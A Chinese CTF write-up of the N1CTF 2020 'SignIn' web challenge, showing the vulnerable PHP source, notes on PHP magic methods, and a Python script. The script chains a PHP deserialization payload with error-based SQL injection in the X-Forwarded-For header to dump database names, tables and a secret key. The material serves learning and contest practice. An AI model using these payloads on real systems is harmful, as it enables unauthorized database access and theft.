2020/10/18
困扰一年的支气管炎最近加重了 ,今天看了一天的医生,没有学习的我,好慌啊,回来看到n1ctf 已经开始一天了 赶快看看web题
SignIn
1.一个很明显的反序列化题目,近几年的出题趋势。这里可以当作签到题 orz。
#题目
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
我们学习一下反序列化
(http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/)这是我看到讲的最好的blog文章
贴一些重要的知识点
#常用魔术方法及触发条件
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__invoke() //当脚本尝试将对象调用为函数时触发
#类型字母详解:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
然后跟着这篇文章学着调试一下最简单的几个demo。
1点25了 先逃): 太菜了吧
因为我觉得属于代码审计 就没有另外开一个帖子。
昨天星期天,肝了好久这题,昨晚搞到2点多才做出来,思路其实都对了,但是就是坑多,不细心orz,太菜了。
那么写一下这题的思路
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
这里很明显的反序列化漏洞
随后就是看给的类
flag类就很明显了 问题就在于要通过构造check函数对象 让check 等于这个md5后的key 用了三个等于号,那题目也叫sign in,所以看上面第一个类,有一个sql的插入操作,其中严重鄙视一下 出题者function waf好歹也加一个点点点啊 ,我还以为是空函数,白费时间,这题粗略过一下,作业太多了,以后有空再补充
构造序列化对象 令$_GET['input'] -> flag(ip->ip()) 这样子flag销毁时就会触发__destruct()->getflag()->这时候ip指向了ip这个类 触发tostring。就可以进行注入,注入得fuzz一下waf的check 内容(再次鄙视)
贴一个写的脚本 非常的nt - -很多东西重复了,但是懒得优化了,能用就行。但是大部分代码是通过https://github.com/h3xstream/http-script-generator 这个burp插件生成的 所以,我就写了一个二分法去跑
import requests
session = requests.Session()
startnum=1
expkey=44
paramsGet = {"input":"O:4:\"flag\":1:{s:2:\"ip\";O:2:\"ip\":0:{}} "}
tablename="注入的内容有:"
min=1
max=150
proxy={
'http':'127.0.0.1:8080'
}
def getDbs(startnum,expkey):
headers = {
"Cache-Control": "max-age=0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
"Connection": "close",
"x-forwarded-for": "127.0.0.1' and updatexml( 1, if((SELECT ascii(mid(group_concat(schema_name),"+str(startnum)+",1)) FROM information_schema.schemata) >" + str(
expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
}
response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
#print(response.text)
if('<code>welcome to n1ctf2020</code>' in response.text):
return True;
else:
return False;
def getTable(startnum,expkey):
headers = {
"Cache-Control": "max-age=0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
"Connection": "close",
"x-forwarded-for": "127.0.0.1' and updatexml( 1, if((SELECT ascii(mid(group_concat(table_name)," + str(
startnum) + ",1)) FROM information_schema.tables WHERE table_schema = DATABASE()) >" + str(
expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
}
response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
#print(response.text)
if('<code>welcome to n1ctf2020</code>' in response.text):
# print('True')
return True;
else:
return False;
def getColumns(startnum,expkey):
headers = {
"Cache-Control": "max-age=0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
"Connection": "close",
"x-forwarded-for": "127.0.0.1' and updatexml( 1, if((SELECT ascii(mid(group_concat(column_name),"+str(startnum)+",1)) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='n1key') >" + str(
expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
}
response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
if('<code>welcome to n1ctf2020</code>' in response.text):
return True;
else:
return False;
def getFlag(startnum,expkey):
headers = {
"Cache-Control": "max-age=0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
"Connection": "close",
"x-forwarded-for": "127.0.0.1' and updatexml( 1, if((SELECT ascii(mid(group_concat(`key`),"+str(startnum)+",1)) FROM n1key) >" + str(
expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
}
response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
if('<code>welcome to n1ctf2020</code>' in response.text):
return True;
else:
return False;
while startnum<300:
expkey=int((max+min)/2)
if(getFlag(startnum,expkey)==True):
max = expkey
else:
min = expkey
if((max-1)==min):
tablename += chr(max)
print(tablename)
startnum+=1
min = 44
max = 122
最后能跑出key的值,然后再构造poc就懂啦。啰嗦了很多,可能有点乱,只要去看多一些反序列化的文章和本地调试一下就懂了,还有就是需要一些报错注入的基础知识
去做作业了 逃):